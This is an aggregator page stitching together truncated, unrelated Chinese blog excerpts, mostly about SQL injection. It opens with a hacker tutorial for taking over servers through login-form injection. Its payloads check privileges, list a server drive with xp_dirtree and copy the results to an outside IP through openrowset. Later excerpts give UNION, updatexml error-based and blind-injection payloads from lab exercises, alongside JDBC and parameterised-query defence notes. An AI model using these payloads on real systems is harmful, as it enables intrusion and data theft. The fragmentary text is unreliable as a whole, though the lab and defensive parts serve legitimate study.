sql注入

高级SQL注入拿shell,一般黑客不知道。<哈客>

左心房为你撑大大i 提交于 2020-02-03 09:54:47
服务器只有一个站,又找不到注入点怎么办? 你可以试试在搜索框,登陆,任何框框里放个单引号,看看是否报错 初级部分 加个单引号',后面随便,随便填个密码,点击登陆 典型的SQL注入 判断权限: ' and user>0-- 明显的sa权限 获取数据库名字: ' and db_name()>0-- 很容易获取到,数据库名,如果不是sa权限 ,比如public权限,我们可以通过差异备份获取shell,但本教程不必了 下面开始高级部分: 就不截图了,就是把下面代码放入登录框执行 一:建表,3个字段 ';create table nonamed([name] [nvarchar] (300) not null,[depth] [int] not null,[isfile] [nvarchar] (50) null);-- 二,把服务器e盘目录和文件名字全部加入到表中(为什么e盘,因为e盘放的是网站目录,我就不啰嗦了) ';insert nonamed execute master..xp_dirtree 'e:\',1,1-- 三,把此表中内容插入到远程计算机的SQL数据库中,(自己的电脑) 必须有外网, 本地的电脑必须有一张和服务器创建相同的表,表名无所谓,此例子为e表 ';insert into openrowset('sqloledb', '222.222.222.222';'sa';

SSM框架--mybatis

醉酒当歌 提交于 2020-02-03 07:15:19
五.mybatis相关 1.jdbc介绍 JDBC是Java制定的接口,数据库产商依照该接口编写与自家数据库配套的实现类。比如MySQL、Oracle、SqlServer等都有自己的不同实现,这些实现类的集合既是我们笼统意义上的“驱动”。 2.preparedstatement和statement的区别 数据库系统会对sql语句进行预编译处理(如果JDBC驱动支持的话),预处理语句将被预先编译好,语法语义解析优化sql语句,指定执行计划执行并返回结果 但是很多情况,我们的一条sql语句可能会反复执行,或者每次执行的时候只有个别的值不同(比如select 的where子句值不同,update的set子句值不同,insert 的values值不同).如果每次都需要经过上面的词法语义解析,语句优化,制定执行计划等,则效率就明显不行了 所谓预编译语句就是将这类语句的值用占位符替代,可以视为将sql语句模板或者说参数化 什么是预编译(将这条sql(解析完成)语句放入缓存执行计划中,如果有相同的sql语句进来,就会直接执行该sql(解析完成)语句,省去解析的过程) 下面列出PreparedStatement的几点优势。 1.PreparedStatement可以写动态参数化的查询用PreparedStatement你可以写带参数的sql查询语句

Anti SQL Inject

风格不统一 提交于 2020-02-03 02:39:04
1.Web 应用程序执行时如果发生异常,通过配置严禁将任何技术信息暴露: Web.Config: < customErrors mode ="RemoteOnly" /> 2.在客户端应用程序 2.1 程序代码中一定要拼接 "参数化 SQL" ,并采取安全的"命令参数式" ADO.Net API ,连接数据库并提交该查询,另外今后尽量减少应用程序拼接 SQL,而多使用存储过程。 参阅如下代码: Code private void cmdLogin_Click( object sender, System.EventArgs e) { string strCnx = ConfigurationSettings.AppSettings[ " cnxNWindBad " ]; using (SqlConnection cnx = new SqlConnection(strCnx)) { SqlParameter prm; cnx.Open(); string TableName = " [users] " ; string strQry = // 注意 @username 和 @password 就是前面所指参数化 SQL 中的参数 // 可以理解为是 "字段值" 的"值占位符",不要用它去占位表名、列名、以及关键字 // 同时用户交互录入的也的确只能是 "字段值" // 这样 ADO

sql注入入门

旧时模样 提交于 2020-02-03 02:24:31
一、判断注入类型 一般查询语句,字符型和数值型 1.+-数值,如1+1,1+2 2.后面添加‘1 and 1 = 1' 和 ’1 and 1 = 2' 进行查询,若1=1返回正确而1=2返回错误则为数值型 3.加'#,若返回正确则为字符型 二、查列数(有待考证) order by num num为数值 三、确定字段位置 select * from auth_user where username = 'lisi' and 1 = 2 union select 1,2,3,4,5,6,7,8,9,10,11; and 1=2是为了避免一些只显示一行的页面过滤掉后面的联合查询的数据,所以让前面的查询条件永远为false union就是合并操作,完整语义就是使用union合并两个select的结果集,前者为空 四、获取数据库信息 database():查看当前数据库名称 version():查看数据库版本信息 user():返回当前数据库连接的用户 char():将ASCII码转化成字符,用于分隔每个字段的内容 select * from auth_user where username = 'lisi' and 1 = 2 union select user(),database(),3,4,5,6,7,8,9,10,11; 查询所有表名 select * from auth_user

JDBC

大城市里の小女人 提交于 2020-02-03 00:50:32
JDBC的一些讲解 Connection Statement ResultSet JDBC: java database connectivity java和数据库的连接的桥梁 作用 : 可以为多种关系型数据库dbms提供统一的访问方式,用java来操作 Connection Statement PrepareStatement ResultSet JDBC DriverManager: 管理不同的数据库驱动 数据库驱动: 不是java提供的,是由相应的数据库厂商提供的,连接数据库,直接操作数据库 类/接口: DriverManager : 管理JDBC驱动 Connection : 连接 由DriverManager产生 Statement(prepareStatement) : 增删改查 由connection产生 CallableStatement :调用数据库中的存储函数/调用过程 由connection产生 ResultSet : 返回结果集的信息 由prepareStatement产生 Connection产生操作数据库的对象 Connection产生statement对象:connection.createStatement(); Connection产生PreparedStatement对象:connection.createprepareStatement();

【web安全】sql注入之报错注入的基本流程

耗尽温柔 提交于 2020-02-02 06:16:57
报错注入属于盲注的一种,可以是get注入,也可以是post注入 它是在网页没有回显的情况下,可以用报错函数让我们想要的数据报错弹出来 Updataxml() 更新xml文档的函数 使用方法: 路径不存在或非正常路径会报错 Updatexml(目标xml内容,xml文档路径,更新的内容) Updatexml(1,concat(0x7e,(select database()),0x7e),3) 0x7e , ( select database ( ) ) , 0x7e = ~ ( select database ( ) ) ~ 子查询 = ~ maoshe ~ 注入步骤就跟get注入一样了,在子查询里面改变一下语句 注: concat 函数 是连接符 0x是16进制 0x7e 是~ 报错注入有输出限制,尽量不要用group_concat()函数 来源: CSDN 作者: 吃遍全国海底捞 链接: https://blog.csdn.net/NiFeng_ShouHu/article/details/104099425

航班查询管理系统

拥有回忆 提交于 2020-02-02 03:44:56
项目类型:java Web项目 实现语言:Java 环境要求:eclipse,JDK1.8.0_31,tomcat-8.5.31,MySQL8.0.18,jquery-3.4.1 功能要求: 1.建立数据表,创建主键,设置主键自增,添加测试数据 2.使用开发工具创建Web项目 Flight 3.为工程添加 lombok、DBUtils、 C3P0等支持 4.引入jar包 5.创建实体类 6.创建DAO组件,完成相关数据库操作,参考方法包括: A.查询所有城市信息 B.根据起飞城市ID和到达城市ID查询航班信息,并根据起飞时间升序 7.创建业务层的 Service接口及其实现类。在实现类中注入DAO组件,并在类中实现业务逻辑和错误处理 8.创建Servlet类,为其注入业务组件,实现功能,并正确配置相关配置文件 9.创建首页面 A.完成页面设计,正确使用city表数据填充下拉列表,选项的value为城市ID,选项的文本为城市名称 B.为表单添加jQuery验证 C.通过Servlet查询符合条件的航班信息,结果按起飞时间升序排列,设置标题栏样式和隔行变色,查询条件会显在页面(在下拉列表中选中);如果没有符合条件的数据对用户进行提示。显示航班信息时,起飞城市和到达城市必须显示城市名,不可直接显示外键字段的值。 代码实现: 项目结构: 数据库 /* SQLyog Ultimate v12

Web安全-SQL注入:MySQL注入天书(5-6) Blind Injection

坚强是说给别人听的谎言 提交于 2020-02-02 03:41:35
文章目录 内容 布尔型盲注########## 注入点判断 撞数据库版本 撞数据库名 使用sqlmap做布尔型盲注的猜解 内容 MySQL注入天书 Less5 - Less6 布尔型盲注########## 从注入点判断到用 ORDER BY 判断出列数都和前面的一样 只是想用 UNION SELECT 时发现页面并不回显数据库中的信息 而只是根据一个布尔值回显 You are in... 或者什么都不显示 这种类型的注入称为布尔型盲注 Boolean Based Blind Injection 打个比方 Error Based型注入像一个傻白甜 你问她:你现在的用户是谁啊? 她就会告诉你:是root Boolean Based型盲注就是单纯的傻,没有白甜 你问她:你现在的用户是谁啊? 她就不说话 那你只能问:你现在的用户是root嘛? 她会回答是或不是 注入点判断 单引号判断法 所以构造payload如下 ?id = 1 ' AND your_payload % 23 id需为合法id,这样做AND运算才可判断出payload的布尔值 撞数据库版本 截取version的前三个字符,判断是否等于5.6或5.7等等等等 返回Boolean值,与id的选择结果作AND 根据最终是否有回显判断payload的布尔值 这样就知道数据库版本为5.7了

【web安全】sql注入之盲注的基本流程

谁说我不能喝 提交于 2020-02-02 03:23:24
什么是盲注,只要关闭了回显,它就是盲注 盲注分布尔盲注跟时间盲注 布尔盲注:根据页面返回的true跟flase来判断。页面显示正常就是true,页面返回不正常就是flase。 时间盲注:用sleep()函数判断,无论输入什么,他都只会显示一个页面,就根据页面有没有睡眠来判断 布尔盲注需要用到的函数: length() 返回字符串的长度 length(sleep) 那就返回5 substr() 截取字符串 substr(sleep,2,1) 它就是从第二个字符开始截取,截取一个 返回u ascii() 返回字符的ascii码 时间盲注需要用到的函数: Sleep() 将程序挂起一定时间n为n秒 If(expr1,expr2,expr3) 判断语句 如果第一个语句正确就执行第二个语句,如果错误就执行第三个语句 来源: CSDN 作者: 吃遍全国海底捞 链接: https://blog.csdn.net/NiFeng_ShouHu/article/details/104100569

【web安全】sql注入之盲注靶场实战

浪子不回头ぞ 提交于 2020-02-02 03:08:28
第一题 打开靶场,输入id参数 页面显示内容,然后直接输入 ?id=1' and 666=666 -- yuyu 页面显示正常 然后输入 ?id=1' and 666=888 -- yuyu 发现页面不正常 但是没有报错,猜测存在盲注 然后就直接查一下数据库的名字的长度,输入 ?id=1' and length((select database()))>10 -- yuyu 发现页面还是显示不正常 就猜测数据库的名字长度少于或等于10,然后继续猜,输入 ?id=1' and length((select database()))>5 -- yuyu 发现页面显示正常了 就猜测数据库的名字大于5,少于或等于10,然后就继续猜,输入 ?id=1' and length((select database()))>8 -- yuyu 发现页面不正常 就继续猜 ?id=1' and length((select database()))>7 -- yuyu 页面正常 然后继续猜 ?id=1' and length((select database()))>9 -- yuyu 猜到大于7,不大于8和9 就试试等于8 ?id=1' and length((select database()))=8 -- yuyu 发现页面正确 就猜到数据库名字长度是8